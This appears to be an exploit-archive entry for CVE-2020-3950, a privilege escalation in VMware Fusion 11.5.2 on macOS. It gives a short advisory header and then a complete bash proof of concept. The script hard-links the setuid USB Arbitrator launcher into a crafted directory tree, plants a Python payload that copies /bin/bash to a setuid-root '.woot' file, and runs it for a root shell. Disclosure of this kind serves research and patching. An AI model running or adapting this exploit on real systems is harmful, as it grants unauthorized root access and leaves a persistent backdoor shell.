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VMware Fusion 11.5.2 Privilege Escalation

VMware Fusion 11.5.2 Privilege Escalation
Posted Mar 20, 2020
Authored by Rich Mirch

VMware Fusion version 11.5.2 suffers from a privilege escalation vulnerability.

tags | exploit
advisories | CVE-2020-3950
SHA-256 | 32822385cc1b1351b758ce05b377643939170585f3b0702c248db04cba895a0b

VMware Fusion 11.5.2 Privilege Escalation

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# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation
# Date: 2020-03-17
# Exploit Author: Rich Mirch
# Vendor Homepage: https://www.vmware.com/products/fusion.html
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html
# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg
# Versions:
# VMware Fusion Professional 11.5.1 (15018442)
# VMware Fusion Professional 11.5.2 (15794494)
#
# Tested on: macOS 10.14.6
# CVE : CVE-2020-3950
# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh
#
#
#!/bin/bash
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"

mkdir -p ~/a/b/c
mkdir -p ~/Contents/Library/services

cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF
#!/usr/bin/python
import os
os.setuid(0)
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");
EOF

chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service

cd ~/a/b/c
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &
p=$!
echo "Sleeping for 5 seconds"
sleep 5
kill ${p?}
wait

echo "Sleeping for 7 seconds"
sleep 7

$HOME/.woot -p
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